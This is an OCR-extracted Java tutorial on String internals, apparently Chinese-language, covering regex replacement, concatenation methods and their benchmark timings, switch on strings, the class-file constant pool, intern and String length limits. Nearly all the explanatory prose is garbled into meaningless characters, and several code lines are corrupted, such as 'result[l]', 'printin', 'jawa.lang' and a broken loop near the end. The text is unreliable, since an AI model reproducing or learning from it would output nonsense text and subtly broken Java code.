/TR (ERBITR)

Pattern pattern = Pattern.compile ("IENFIER") ;

Matcher matcher = pattern.matcher ("1IENFKZEI Hello World, IENZKIZEI Hello World
") ;

/) B — AN IR U B s

System.out.println (matcher.replaceFirst ("Java"));


http://www.51gjie.com/java/771.html

String <

3. replaceAll()&#AE html frss

/ /%8 html $Rid
Pattern pattern = Pattern.compile ("<.+?>", Pattern.DOTALL) ;

Matcher matcher = pattern.matcher ("<a href=\"index.html\">FH</a>");

String string = matcher.replaceAll ("");
System.out.println (string) ;

4. replaceAll() BIEENF

/B HARRE () T
String str = "Java HETMIREEEMH {0} HF-{1}14E";
String[][] object = {
new String[] {
"NA{O\N\}",
"1995"
bo
new String[] {
"\\{1\\}",
"2007"
}
bi
System.out.println (replace(str, object));
public static String replace(final String sourceString, Object[]
String temp = sourceString;
for (int i = 0; i < object.length; i++) {
String[] result = (String[]) object[i];
Pattern pattern = Pattern.compile (result[0]);
Matcher matcher = pattern.matcher (temp) ;
temp = matcher.replaceAll (result[l]);
}
return temp;

}

5. replace()E&r=FrFE

System.out.printin("abac".replace("a", "\a")); /Nab\ac

String ¥ “+” BYEH;

1. String s = "a" + "b", wEFFSHITEEIE (A AR E2mEL

B%0), BPESpE String s = "ab"

N

object)

70

{
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2. SIFEESHITAAI(String s = "a" + TE F)A StringBuilder A9 append()
75EEMN, &EBRA toString() 755% (KEFHE— new String())

FHEH, 2 Java PERERI—EIERET .

AR, BEXST Java FEFFERXIRA—1#0FE, EBRNEB—NFAFRHHERX
AIRIR . AET jdk1.8.0_181,

FRIEBETHR

FREFHERIE Java RIEFLEREE2HHNSEE, MRIES N FHEHER—
E o

BAIEFNE, String & Java P—NARAEIZRRIZE, FrlAftt—BE#SEOMERI T ERIER o

AT ERLFI—B 62, HRTEAEFARIEN . XFERITERSIFL, thin
AL %ETF hashcode. FEREIMERLUUNENRZESE.,

B2, BAFHFEEFTEN, BAFHFHEHHENEEARISERE?

FRBEATSFRISEDHE
HIL, fREMPMB=FRE, BREREN T — 1 =5 HR . TE—RFHEHE
AR

String s = "abcd";
s = s.concat ("ef");

HIREHNEIN s EER— M HIFHET . aFE:
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pREsAEE

pPReERES

s PIREFHNE— 1 EFMCIEL KA String WHRAISIF.

A, £ Java B, BRI TFRHEFHER? FHEHEEREMS, XEFHHR
NRJUAMECRE B .

{EF8 + FHEF T

£ Java 1, HEFHFHERERLIVMEERERTS SKiHE. 0

String wechat = "Hollis";
String introduce = "®HEH Java AHRFEANLE";
String hollis = wechat + "," + introduce;

XEZFRIRB—=, BAL Java PER+HHEFHFRININEIERNIZEHFEH ., H
SSHARZ, Java BASGHEEMNEHD . XELRRE Java RIEHAS—MEENE . BEBF

HNE,

EE/AEY: mItBNERRITF, ES8/FER (Z0E: operator overloading ) 2
ZE—M, ZEFEH, MRNEENEEFTERTEN, BFHS—FINEE, LUEMN
TEREIRSEEL,

IBIRHE 1BZHE Syntactic sugar ), BiFmERIE:, REHERETENRZRES - =
TRBRI—PAE, BHETUESHRIIRNEMEL, XMEXNESHIgERERN, B
EELEEFRER. BEARELEFENES, BESIESE.
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Concat

bR T B - HHEF TR Z S, IR LUER String 285975 7% concat 73Rk EF /T .

an:

String wechat = "Hollis";

String introduce = "®HEH Java AHRFEANLE";

String hollis = wechat.concat(",") .concat (introduce) ;
StringBuffer

XTFFFHR, Java FRTEXN T I HUBREN FHEEERN Siring ELSH, &
RETHLURRENFHELTEMN StringBuffer 28, BRIXRERT LY ZeFEXHT.

£/ StringButfer AJLATS RIS AT Rt THR . 20

StringBuffer wechat = new StringBuffer ("Hollis");
String introduce = "®HEH Java HREALE";
StringBuffer hollis = wechat.append(",") .append (introduce) ;

StringBuilder

BRY StringBuffer LA4, BB—1ZE StringBullder 8 LAER, ERBZEM
StringBuffer 241, #0:

StringBuilder wechat = new StringBuilder ("Hollis");
String introduce = "®HEH Java HREALE";
StringBuilder hollis = wechat.append(",") .append (introduce) ;

StringUtils.join

BT JDK AR ENFFREHES L, B LERA— R EPREN AR HES L
£, Wl apache.commons BEMH StringUtlls 28, Eehly join FiERTLABHERG £ .

String wechat = "Hollis";
String introduce = "#EHEH Java HREALE";
System.out.println (StringUtils.join(wechat, ",", introduce));
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XEFEBG—T, StringUtils F12MEAY join 75i%, REEMINEER: BEAHNESLL
EHEFFHER SRR F R,

String []list ={"Hollis","#H¥EH Java tHRE AR} ;
String result= StringUtils.join(list,",");
System.out.println (result) ;

/18R Hollis, BHEHF Java HRIARLE

HEB, Java8 a9 String KR WREH T —1MESH join Bk, BIEH
StringUtils.join ZE4EL,

LA ESLRECREBRIAMA Java FHEZFFFERRIL T, BRARRERFESF Ble? Jut
A Java AR FMPRENERMAPER+HHTFrAF B ER?

17. [HER) G5 R A, Fra RT3, /] StringBuilder I append J7ikH#EATH JiE.
B e 0 SO R R AR 2 new H— > StringBuilder X%, SRJEHHT

¢
append ¥1E, /5T toString J7iEIR ] String X%, iR 7 SR IEIR P% .

String str = "start";
for (int i = 0; i < 100; i++) {
str = str + "hello";

}

{EFR + R FFRRISCIN IR

BIEREIY, FR+HHHEFMHH, EXRE Java BHA—MNEEE, L, &I
KE—RIXMEENE, BEMANTRIEREENTEIAY.

\

ERIXF—ERAE . HNNEMERNFTHEHRITREE, BEER

String wechat = "Hollis";
String introduce = "®HEH Java HREALE";
String hollis = wechat + "," + introduce;

REFERRHATNT, RHEEFILEN jad,

String wechat = "Hollis";

String introduce = "\u6BCF\u65E5\u66F4\u65B0Java\u76F8\u5173\u6280\u672F\u6
587\u7AE0"; / /& HEH Java HIREAR L H

String hollis = (new StringBuilder ()) .append (wechat) .append(",") .append(int
roduce) .toString () ;
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BEYEERREUUBHARE, HRINTULRI, BERkFHFREESEHEIES, 25
String #5% 7 StringBuilder 5, {#£BHE append FiE# 17029,

MABLHREWR, Java PR+ NFZHENHE, EXUNREEER

concat E41aIsCERY

BAIBEKE—T concat TiEFRIRAEE, H—FX1I5AX2IMTSTIAT.

public String concat (String str)
int otherlLen = str.length();
if (otherlLen == 0) {
return this;
}
int len = value.length;
char buf[] = Arrays.copyOf (value, len + otherLen);
str.getChars (buf, len);
return new String(buf, true);

}

XERABESE T — N FHFHE, RERESEFMHENSHEFTRENREZN, B
ERPNFIBERESFIZFRZAHES, FERXNFFERERE— 1Y String IR
#J\&@ o

BIEEBEAIBaILIEE, &9 concat /5i%, HSLZ new T—1§AY String, Xt
A ES EiEE oA N s ===l iy N el i g

StringBuffer #1 StringBuilder

ETRIENER il AYSCINRIE
il SR, RUHRT—INFHHAHE, EXWT:

char[] value;

5 FREIIZR, EFF= 8, PRLMBRRILUEXAY. 35, 5 AE,
FHHAT A —ERBNUEHCEHNER, BB —THEE, RrHHEHTEEXERIFA
T, EMT:
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int count;
H append JBRBINT:

public StringBuilder append(String str) {
super.append (str) ;
return this;

}

ZEUET AbstractStringBuilder 25, & TH append J5i&:

public AbstractStringBuilder append(String str) {

if (str == null)

return appendNull () ;
int len = str.length();
ensureCapacityInternal (count + len);
str.getChars (0, len, value, count);
count += len;
return this;

}
append SEEENFHRINHIOFFREAT, IRFHHEKERE, SHTT E.

StringBuffer #1 StringBuilder 28, &ABKAIRE StringBuffer &R ERY,
E—T StringBuffer i append 5%

public synchronized StringBuffer append(String str) {
toStringCache = null;
super.append (str) ;

return this;

ZF3AER synchronized #1750, RBAR— M EELENEE. M StringBullder
NARREIEZ 2,

StringUtils.join 240{asLEIAY

BIEEE StringUtlls join B9TRMLH, FATTLAATE, ESLMbtBREE StringBuilder
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public static String join(final Object[] array, String separator, final int
startIndex, final int endIndex) {
if (array == null) {
return null;
}
if (separator == null) {
separator = EMPTY;

// endIndex - startIndex > O: Len = NofStrings * (len(firstString) + len(s
eparator))
// (Assuming that all Strings are roughly equally long)

final int noOfItems = endIndex - startIndex;
if (noOfItems <= 0) {
return EMPTY;

final StringBuilder buf = new StringBuilder (noOfItems * 16);

for (int 1 = startIndex; i1 < endIndex; i++) {
if (i > startIndex) {
buf.append (separator) ;
}
if (array[i] != null) {
buf.append(array([i]) ;

}
return buf.toString() ;

}

LR

BRABXASMFRFEHFENTT L, BBAREB—MEEESR? HIIREEXIE—
—FO

long tl = System.currentTimeMillis () ;
/ /1% BRAIE I H E L
for (int i = 0; 1 < 50000; i++) {
/ /1% BT R AR
}
long t2 = System.currentTimeMillis () ;
System.out.println ("cost:" + (t2 - tl));

HAVWERFNLAEFRAIRED, 230N T RMEFREFHEREA0ETATE . SEI5ER
W
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+cost:5119

StringBuilder cost:3
StringBuffer cost:4

concat cost:3623
StringUtils.join cost:25726

NERALIEL, BITAEENKAIILE:

StringBuilder<StringBuffer<concat<+<StringUtils.join
StringBuffer 7 StringBuilder B9EM E , 8T B8, FRLATERERY A —L,

StringUtils.join tB2fFR 7T StringBuilder, HFEESIARBRSEMIRIE, FRLUEER
B, XMEBZEE . HSL StringUtils.join BEIEEANEF /R #B e E TR E .

BAEERT, IEE(NSTE, EXLFER+HEFFENINREGZFEBR
StringBuilder, BBAMASERBEXAZ, &k 1000 2Ek?

BAIBELAT B mET

long tl = System.currentTimeMillis () ;
String str = "hollis";
for (int 1 = 0; 1 < 50000; i++) {

String s = String.valueOf (i) ;

str += s;
}
long t2 = System.currentTimeMillis () ;
System.out.println ("+ cost:" + (t2 - tl1));

ST ISR LI

long tl = System.currentTimeMillis () ;
String str = "hollis";
for(int i = 0; 1 < 50000; i++)
{
String s = String.valueOf (i) ;
str = (new StringBuilder ()) .append(str) .append(s).toString() ;

long t2 = System.currentTimeMillis () ;
System.out.println((new StringBuilder ()) .append("+ cost:") .append(t2 - tl).to
String());
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BATUBRIRMEREINRE, & o Bid, B8XER = :
RIEHBE 2959 , BT o

MARERFEMNRARBRERSIE T, MUNSFEENE, MERELEYR, &=
&R AFRIFANRE .

FRLA,  Java FFARFMENR: BIMEAR, FFEREERS, £ A9
BEBATI . MAZRER .

RYNMETHARFHERE, BEAFTHREETTRN, BREEY BT HEF &5
RIS TR TR ERRIFHE .

ERNFAFERELNAREM, DaIRER . EA NREJEE AE
A AR fsEFS o

RTFHERERIEPSEIERIINSR, MUNREAE—MEMAFHTF R RIHE,
MEE BRFRBAIREREE .

B, 2333, BRI, BEER AR ERRSH . BN
KEFEIRUTKE M AL F TR F BRI ERIFRY .

B2, T2BBRIZ:

1. MRAZEBMATHITFFEIHERNE, BERERIFT .
2. IREHFEDSHTHITFHFEHENE, BEH KA

o

BANBE=MHEIU— int XETETRIET String 28, BBAMIBEHAKSI?



String < 80

l.int 1 = 5;

2.8tring il = "" + i;

3.String 12 = String.valueOf (i) ;
4.String 13 = Integer.toString(i);

B=1THENTREEMXE, EA String.valueOf(i)tB 218 Integer.toString(i)
SRECHIAY o

FEITRAEHESERE String i1 = (new StringBuilder()).append(i).toString();, &%t
BliE— StringBuilder X%, AEBEAMA append F5i%, BEA toString Bi%.

Java 7 /1, switch B2 #a]LAR String 28T, XA TRIZE— MRS @RS .
EIBRIALE switch SZHRISEE L FhEiREEL . . int . . . B2,
EA—EFRENNMEBNBEMEZSANHE, FEMNBECEWEEIA, switch Y&
AR EASTHRRE? JWEAEREASIAE? String 2£80R? 5—= Java FFEE
KA MHEESIBN switch %3 String FISZIF2ERA equals()75i%E#0 hashcode() A
Ko BMARIERTRIXFA N AENR? HTRRENME—T, switch RIESUMAITIAT.

—. switch XEEIZFFRISCI

TEE—EREEEREMN Java i3, EX— int BT = a, SARFEA switch i5a#ET
Hr . HITXERISIEMEREN 5, BFAKIIE TEXBRRIBRmE, EEMHEIER2EAST
maY.

public class switchDemoInt ({
public static void main(String[] args) |
int a = 5;
switch (a) {
case 1:
System.out.println(1l);
break;
case 5:
System.out.println(5);
break;
default:
break;
}
}}
//output 5
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[4miEERICEBAN T :

public class switchDemoInt
{
public switchDemoInt ()
{
}
public static void main (String args|[])
{
int a = 5;
switch (a)
{
case 1: // '"\001'
System.out.println (1) ;
break;

case 5: // '"\005"
System.out.println(5);
break;

BRI, RIRFFEHIRBIIZEIRICIBELRIR T 2 TR TERIAINEEHTXE, BB
AFAIFFLE, switch X int AUHIBTE BV EEERYE

—. switch X=FRFEIS7 =HR9sCI

Bz E:

public class switchDemoInt ({
public static void main (String[] args) {

char a = 'b';

switch (a) {

case 'a':
System.out.println('a'");
break;

case 'b':
System.out.println('b'");
break;

default:

break;
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PRIFERORISAI T :

public class switchDemoChar
{
public switchDemoChar ()
{
}
public static void main (String args|[])
{
char a = 'b';
switch (a)
{
case 97: // 'a'
System.out.println('a');
break;
case 98: // 'b'
System.out.println('b"');
break;

B A ERIBELLRFATR I : X char SREHITEVRAIATE, Lhr EEERAIZ

ascii 13, FmREESIE char A SEHRAIINAY int BT =,
=. switch }=F=rFERIFROLH

N ARV

public class switchDemoString ({
public static void main (String[] args) {

String str = "world";

switch (str) {

case "hello":
System.out.println("hello");
break;

case "world":
System.out.println ("world") ;
break;

default:

break;
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IR T i :

public class switchDemoString
{
public switchDemoString ()
{
}
public static void main (String args|[])
{
String str = "world";
String s;
switch((s = str) .hashCode())
{
default:
break;
case 99162322:
if (s.equals("hello"))
System.out.println("hello");
break;
case 113318802:
if(s.equals ("world"))
System.out.println ("world") ;

break;
t

t

t

BIXMUE, (REBERFFHFER switch 2@81d 0 Ak
LAY, 121E, switch PRESFREEY, tkan ; ; (ackii 5228 AR

o IRUF FiERERIZ int, AR . BIEXMERZICE

REIFIZE int XNEL, (FREFILUEI, #1T HNLfrEREE, ARBIER

equals it TR eRE, XPMBEEVEN, RABREterENE., Fitterd
LERER N UNERKEHET switch el EFERAEESE, BXBARREE. BN Java fmiFE

—=

FRBINT—1 3%, MRRCRAIRFHEFEHENERIFEIR, tLan” abe”
==" abc” . WML HEERBERERT , BBAEEEZ—IXAYER
FFiH, RAFiE—BelZT, eMSBiRmEEFEER. RInRX» 1502

A MENER, LLINEIIEREME, sSiE NS | ERMMEERER, XE
IiERERTEEL AR A,

8%, LAEFEEXTF switch }EE, FFE, N=FRENTIENIMAR, 28—
AT LA, ESC switch RSzE—FEUEZEE, BRpiR R, HibEEEEEAR2IEHRA
#R 7 [F1EFE A switch B9,
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FHBEAR—EHARE, ERXNIEEERII—E.
String fEA—> Java 25, AJLABE LA M eE— = aE:

String str = "Hollis";

String str = new String("Hollis");
MmE—MERILEREROME, XMEXIUH FEE",

£ JVM i, AT EDIERFAFRNESERE, ATRETEREFNER . S2mA
F—RAE, BTREFFEEEE, XTAFEXEHRNEFTERES.

SHIEFHINEG S (FHE ) QIEFHAENRIT, VM SEX D FRERTT
WE, NRFHFREEOPFEERATIIFHENRISIA, WEXA5IEERE; S,
BIEFIFHENR, AR SIARAFFRESE, FHREIZSIA.

XAPHLE, PR FFERIEEREL .

FHEEEHONE
£ JDK 7 LABIBYRRAS, FRFREEMERAEXAPH.

EiZERIT, JDK 2ERLERRAFEE T=ERAEXAN, FLIESERE JDK
79, BFHREBEERRMKALPBLH, EITRE THERES.

£ JDK 8 /7, #JEEhRTRANK, ERTZEENTXANL, TRFHEEEHER
MIERFBNRIR AL
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£ Java i, BEEHABSELRZSARINGY, XEEEXPHRESHIREZ—.

£ Java BxEES, —RIIBEI String B XEIECREREINEN T EE
ROFIRAYERRR, JUER$EAY String ELEMERE T TV A& . FrllR, E2HE Java
ARP—PIEEEZRIMZ.

KEEEM, £ JavakRih, HA=MEEHE. DRIRFHFEEENL. Class BEEith

Miz{TIIEEI.
RIFERNME—TREMAARZ Class BEith.

HAZ Class X4

= hEAINET Java HmIEMR IR B
MF0HE, THEMRNR 0 71, FALIERRERIIBEFRET 4k 0 1 1 MplAY
WA BT ETIET.

B=E thiRZS, ATiE Java iESEEREFNETS
g1, Java MERORMRE T —MaI LA FE LE e ERN—fHEafa—=1H15
(ByteCode) .

BTFTHE, LieEBMES (2 Windows. Linux %) , RBLETEN, A

LIEEETFTE.

B, B7FDE, BERT Java EHYLA Java IESZEEE . XIEABERZEA
TR, Java I AREIET Java IBEA? XMEHEIENEMTA?

Hst, Bl Java BN EBERILISHFREMR Java iBSLSMIES T, 2 Groovy.
JRuby. Jython. Scala & . ZPRLARILISSS, SRR AXEES A LIRRERT .
MEMINHA X OF TR B BFE S RIFEMR .

Java IEEPRARFELFHIEIRESRE— T omR o


http://www.hollischuang.com/archives/58
http://www.hollischuang.com/archives/2322

String < 86

javac 2RTF JDK 1 Java IEEwmiERS .12 T EILLERESRE N java BIEX 4R
EHNEEEA . class I LUETTF Java EHWIEI=T5

an, FIBLITREE (\EEF

public class HelloWorld ({
public static void main(String[] args) {
String s = "Hollis";
}
}

BT javac ap$ 4Rk class Mi45:

javac HelloWorld.java

=57 A4

.LinEHumberTnble
...main,..([Ljav
a/lang/String; )V

. . 3ourceFile. ..
HelloWorld. java.

com/hollis/Hello

World...java/lan
g/Object.!

anfarfsE 3 16 HIFTFF class Xf4: (£F , REEXERIT, BA
BT,

BILIER, EERINHRLZ Class XM, Class XHHhEET Java BTSSR
FERURETEHMBUER.
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ZI0ReIEEIE FENF T3, HBE 7#E Class ZEK3U4RIEN, B TFXTRANNER,
XERAREIRAT o

ZETUET, X EI N\ N FEE , IXFEE
Class /HHIEE] ( ) o

BAIFEEMENZ, & Class XY 4 MFHHNEHEERNS5IZ 4 MF1H) Class
MNHRIRES (5. 6 NFHRRES, £7. 8 NIFLEERSS, FEMR Class
MHRIIRASE 52, XAF Java 8 WMAMRA . IR, XMRARIFTHEE, £ JDK
1.8 LIFRORAHLRIETT ) FERASEER, #E Class BEEiALOT .

Class E&ith

Class 2/t LIERAE Class MIHFRIRIRECE. Class X{EFHRT & &AM
K. FER. Hix. 2O0FERXMEES), ©E—IEEMEEE M (constant pool table),
BT ERmReEERNETM=mEmE(Literal) M55 | B (Symbolic References).

BRTAERY Class X4 ESHEERN T HENEER, AL Class XHHIERE!
AOLZRER N FTHIBELSEUEE, CRTEENTEERN T

cafe babe 0034 00711 0a00 0400 0408...
%24 IWRAT FRAIHE FERER

ZR, BBE—MHRERENES Class XEHEEIME X, BHEE
XFFLALERY , aTbiEe

5P
A

Javap -v HelloWorld.class


http://www.hollischuang.com/archives/491

String < 88

EEREIRENT:

hollis javap -v HelloWorld.class
Classfile /Users/hollis/dev-workspace/HollisLab/src/main/java/com/hollis/HelloWorld.class
Last modified 2018-10-21; size 295 bytes
MD5 checksum @bb957af91516cf911b898e237cadc7d
Compiled from "HelloWorld.jawa™
public class com.hollis.HelloWorld
minor version: @
major version: 52
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #4.#13 // java/lang/Object."<init>": OV
#2 = String #14 // Hollis
#3 = Class #15 // com/hollis/HelloWorld
#4 = (Class #16 /7 java/lang/Object
#5 = Utf8 <init>
#6 = ULf8 Qv
#7 = ILf8 Code
#8 = ULf8 LineNumberTable
#9 = ULf8 main
#10 = HF8 ([Ljava/lang/String; )V
#11 = ULf8 SourceFile
#12 = ULF8 HelloWorld. java
#13 = NameAndType #5:4#0 L teinite" 10OV
#14 = Utf8 Hollis
#15 = L8 com/hollis/HelloWorld
#16 = Utf8 java/lang/Object

;

public com.hollis.HelloWorld();
descriptor: (QV
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
@: aload_@
1: invokespecial #1 // Method java/lang/Object."<init>":(OV
4: return
LineNumberTable:
line 3: @

public static void main(jawa.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=2, args_size=1
@: ldc #2 /7 String Hollis
Z2: astore_1
3: return
LineNumberTable:
line 6: @
line 7: 3

N EEFRAILIEE, RIRFER class MEEEHEFHAE 16 NEE . M Class M4
FEITHERIEER 0011, 15i% 16 HHIEFERm 10 HHIERE 17,
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RERZRS Java RNESIRFRE, BEBITEEREN 0 FHEMAZM 1 TR, &)
RITEGE 10 #HHRY 17, XHERTESPE 16 MEE, R3IETEN 1-16,

FEtPEtA4

NBT T AR Class 82 UARINOEEE S, BBAE FEREIIFMERADT—
T, Class E2ittHEEHLRS.

HEOPEBERRALES: FEE(literal )FHFE3IB( symbolic references ).

0

=E

BIHRY, B THEEETEERFHORFEENNSSIE, BARRAAFEE?

FitENEZEG, FEE (literal ) EBFRABREAB R —PEEENRTE

(notation ) . JLFFTEITENREESHEGNEAMENFTEESR T, B BHY. F=

HUARFFrE; MAERSUNMREENFAHEENENSFFRERS, T —EEEY
MERBRITTRIANGEA . ICRMUREFE SRV EEIFFEER X

D ERXTUHBENMZRXTFERENER, ATRREZER. KRR, FHEMN
EERTFE. #FSFURINFTREEE.

FEHEXRALGELNR, FMEBGERESFSHIZAE, W: int a=123 XERya A
{8, 123 IEaE. EXMIFH 123 SEFEE.

int a = 123;
String s = "hollis";

FmEAIASSEAIH, 123 0 hollis #eFHEHE

AR FFELAY HelloWorld £f85, Hollis fi2— " =FmE.
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f1S51H
BEF, RTFEELS, BTSSR, BARKFARSSSIAR.

S5 ARMEFRIEPAES, BENTEESIAXRREN. E2ETUT=REE:
© RMEONERESR * FROBMIHEAR * DXRBIRMERTT

XA UEDERENE 8t r e s —L&
FEENRRT .

Class E2thE+4H

BIENA T XAZ, XF Class BEHEMA, EAEE Class 8=t Class &
SNPREFTELRA ., 8—PNRENEEEH, BiFtR Class EEtEIEE+4ARH.

B5E, JLABBMHIRE, Class EEitiE Class MWHFHIEECE, HPREFETSMHE
. MIXLESHEFAEEN LR, FEEEFAZTEERN.

E ORNIERR Java B2 ) hEXFRIRIA:

Java {CR3fEIRTT RIFAIEHE, FHAER CH C++EMFAE “EE X—2K, M
EEREINIIE Class HRIBHERHITAIEERE . BIEIR, & Class XHFFASRFE
MEiE FRIIRZAGFEHBER, FEXEFER. HiERFS 5 BAETIa THIRIRANE

TXGREIENREFEAOMN, U TEEEREMIER .. JEMNIETH, FENEE
RIS NAIFT S5 IR, BAELCEISE T, BiFEIBANREItZ ., XT3
RIBIEFIENSIERRIANE , EEMTLEINEIZ BE TR A

BIEXERIE, BEXRE, TE2REZEMR. HLMERHE: Class Z2AXRE
BRI—MENZET, FER— T FEmEr. £ JVM BEfNiz{THS, BELEEEitPrIE
JJDEJZIUP\J??EPO

FREB N ESMHXEERE, LUK Class E2itPiEEas @i s EnEz!
BARAFAME, SEARINENEENSPREE R, MBEXFTHEHOEBEE (
) FIARE(Hollis), BEE—RIEkERHMNE.


http://www.hollischuang.com/
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B, KT EEBPEENFEIN, UINRERERENETRTENPHR IR, HA
BRXFDINISAER, RE Class FHIBHNOTAHEER, (FEFRE—RNERES
IZEERASHIEL LIRS, BeGBRNRETLIBT Google 3, MIRERNEBVE,
BB AR —RYERRANE.

GRNIEfRR java B )

ZEFIESEM (| Runtime Constant Pool) E8— M EHiEONES M (
Constant_Pool ) Bizf7RIER R

EEETETHAENEE  NMREHI NS EFEER VI TR R 883k 15
XS FERS A BTREEENE 7 EUMERESFHFSHR( SymbolTable )HIAE,
AIEFESIECELBEEX LRFSREEN 2.

B PMETHEELEDEE Java EINAITEXZH, ESRFEOKINEEIETL
g, MNAGNEITH S SR eI LR

LLE, 2 Java EHTABEFRXTIZ TR EEBRIE N .

ETETE &I JDK &1 RAFHISEH

RIE Java EMWAELYE : B—NsiThEEEME Java EMWIRIS EX S oEe,
ENFSEEOZEMUIGE, MEIEYNANETITEE ! D.

EARERRARY JDK F, 7RSSR ERA—E . L1 HotSpot J9f:

£ JDK 1.7 Z81, IERMTHERFIRANLH, BTl 8 FATEX—ED,
T RARH


https://blog.csdn.net/luanlouis/article/details/39960815

String < 92

EAERXARSEMG X AR SR HERR, LA, N JDK1.7 FiE, JVM =
HRRX—EE, E1.7 1, BEAMITXANHHETIEE0BEERNTS. (KA
7 JIDK 1.7 F#igE 728k, RRERZEXPHISTIESE. RS EEFRL)
A THEHERTF. )

£ DK 1.8 &, MIEBIRT XAMN, FiEXKEITEA M. 2, BTiE
st ET=EAsL,

B TR E B EERKIR

ETEEtPEE TETHRENES

FZHART AN FEEFFS3|A( 3k E Class B8t ) i=/THIRTE A< EHES( W
String B9 intern 53% )

FRLA, =TIt EStThHNAES: Class EEitthHEE. ZRHEESHTHIRS
ETHfEE. Class E&2itt. ZHREEETHNXEISEKE,

EIWRNIES, 2581 Class XEFHIESEMHARETIE S,

FRLA, Class BE2RE—1MENMEM. £ JVM BRE1TH, SRIEEE0THE
SMENFF, EAZETHES!E.

FHHRBEEONI RIS T EEihD LRI D . RS, T class FIFFSE
i, MRFHFRBEIFHEEEIDD.

£ JIVM F, AT EDHEENFFRNESLE, ATERETERFNER . SRR
F—RR7F, BFREFHREREE, XITRFRERKIUMFHFEESID.

LARBPEINE ISR (FEE ) QIBFHENRE, JVM SEXANFHFHEHT
WE, IRFHFREENPFEERRNTNFHFENRISIA, WX 5IAEE; SN,
BT HENR, AR SIFRAFFRESE, FHREZSIA.
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BRTUULERRZIN, BBE—HMulEE TS EATNERZFEESHINE,
BB 2(FEA intern,

intern BYIHEE/REIER

EERRERIRHMEER String B intern 5%, WIRESMHEHEEE, HeESF
Bizxd%, RERIFRSIE.

s

~

X T String BIREKERHBAIEE, BZABERET—RNESTT, REFKXH
BT —FXNEE, AMIET—LHIPAR . TRESEHREE X TR

il
H

D}

XORTEZ BIBR R X ERIEM EFR 70T —LIGIESREsh, B LERNBRELE . B
RXESITIRRP ==X Jdk AU%RIFIIRRHRIT debug, HFEESE L VM IESE
BEANME XN RS

EXANaES M2 Java RYRIFEFIEERAIANR, BB TR S U= EINE
ZIEE—L, Y53 EEET B ub: o

String AY<EPRH!

RERBEXNTE, HEHNFEIE—T String RN, ETFTEPEEEXTK
ERIRHIEEEN -

String £ BREBHAIWIERE, HRELNESHFAFEA length SREUTIKER):

public String(byte bytes[], int offset, int length)

o LAEE, XEMEAISE length 2 int XEENH, FBABIZN, String X
RIRHR, RASTHFHIRERZ int IEEEIE.

TR Integer ZERIEN,, HEXERZ 231 - 1;
A, FAIRAEIALUASR String BEIFHIRARKEMRZXMETIE?


https://www.bilibili.com/video/BV1uK4y1t7H1/%E3%80%82

String < 94

HIHAAR, XMERBEETH, HM8i& String AIRHER LSS — M RAKE,
MsCEfr b, ERIEN, EXFHENITREEFRERSIR.

GNLAT AT
String s = "11111...1111";//¥%HE 10 TAFERF 1"
SFAMERN L EN —1FHFHEREHE, SF(IAIT javac RiFRT, 2S=ER
BH, AT

iR FETHHELK

ABA, BRER String AUMEIEREEERNSER LA 2147483647(27°31 - DAY, A
AR ERZZUE MRIRHET X Rz le?

HsL, 1240 TEX String BIAFR, xxx HIANFRZANFEE, XMHF
HEEFREZEEUEENFIUHAE Class F&itE.

BABBEK T, FABRAEED, EETEELNEINE.
HEitRE

HAF0E, javac 2% Java MERIFER class XHRI—1M <, BBATE Class X4
ERIREF, HEEET—ERIEN

RIE ( Java EBHINILE ) 5 4.4 EBE=HAIENX, CONSTANT_String_info
BT java.lang.String EENESNR, KXW

CONSTANT String info {
ul tag;
u2 string index;

}

Hrh, string_index MBS RS ESHMIBERERS|, BEEHUEIZRS|IGTYL
g2 CONSTANT _Utf8 info #&#, Fx—H Unicode 3851, iX4H Unicode i3
HRFIRESEIRHI— String WK,
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CONSTANT_Utf8_info ZMAFRRFAFEEEME:

CONSTANT Utf8 info {
ul tag;
u2 length;
ul bytes[length];
}

Hrh, length NIRRT bytes[I#ERKE, HER R U2,

BEEE (AEE ), BAITLERE . u2 BFRMPFOHLEHSH, BLA1PFHE S8
i, 2 MFTAE 16 i,

16 (I SE A RIS KES 2M6 - 1 = 65535,
Rk, Class MHHEEBAMSAME T, EFFHREENIRERAGEY 65535,
A, FAIEHAERUATIREN F /!
String s = "11111...1111";//HHH 65535 NFEF 1"
=iEA javac fiF, AFREEER BEFFEIK", BLARERZMAR?

HL, XPRERE javac RICEEHRERILIEEIRY, £ Gen KPENTMU:

private void checkStringConstant (DiagnosticPosition varl, Object var2) ({

if (this.nerrs == 0 && var2 != null && var2 instanceof String && ((String)v
ar2) .length() >= 65535) {

this.log.error (varl, "limit.string", new Object[0]);
++this.nerrs;

BFELIEL, J2#EE String, FREKEATET 656535 HiTR, MaSE
FRIERY o

XMEBAKALAEIHE debug —T javac RiEETE (WRHEXT java B%mIED
1217 debug RU757% ) , BAILIRIIX MBS 2RIE
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NRFLAIZ=LL 65534 PFRHENFFHR, WERMAILUERRHE.
, KTFIXAME, 7 (Java IS ) thBigi5%eA:

if the Java Virtual Machine code for a method is exactly 65535 bytes
long and ends with an instruction that is 1 byte long, then that instruction
cannot be protected by an exception handler. A compiler writer can work
around this bug by limiting the maximum size of the generated Java Virtual
Machine code for any method, instance initialization method, or static

initializer (the size of any code array) to 65534 bytes.

BITHAPRS!

FEREIRGXF String KERIREIZMIZEARIRE, a2 String s= 7 ;X
MFEESNEXRIHNES SBRIRE

BBA . String FEIZTHAEIRBIRHIE, 2807, MEFKIFIUREIAIE Intege
r.-MAX_VALUE , XMEAFTF 4G, Tiaf7HE, WX String KEBEIXMSEE,
REEMERE.

(fEjdk 1.9 Z&1) int 22— 32 [UZEEE, BUEHEDREHNE, IR
g:

27°31-1 =2147483647 > 16-bit Unicodecharacter

2147483647 * 16 = 34359738352 i

34359738352 / 8 = 4294967294 (Byte)

4294967294 / 1024 = 4194303.998046875 (KB)

4194303.998046875 / 1024 = 4095.9999980926513671875 (MB)
4095.9999980926513671875 / 1024 = 3.99999999813735485076904296875 (GB)

Bk 4G HIBE.

REAZBEER, Ti%ﬁ’ﬂﬁﬂ‘ﬂ RAKEHER/NF 65535 7, ETHIEASEHIIAT
65535 AIESRIE . XHESE , ALATRCAS:

String s = ""
for (int 1 = 0; 1 <100000 ; i++) {
S+:"i",'}
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BSEINFFFRRKERMB 10 5, HIMZBIESERRN A FIBRITIX N

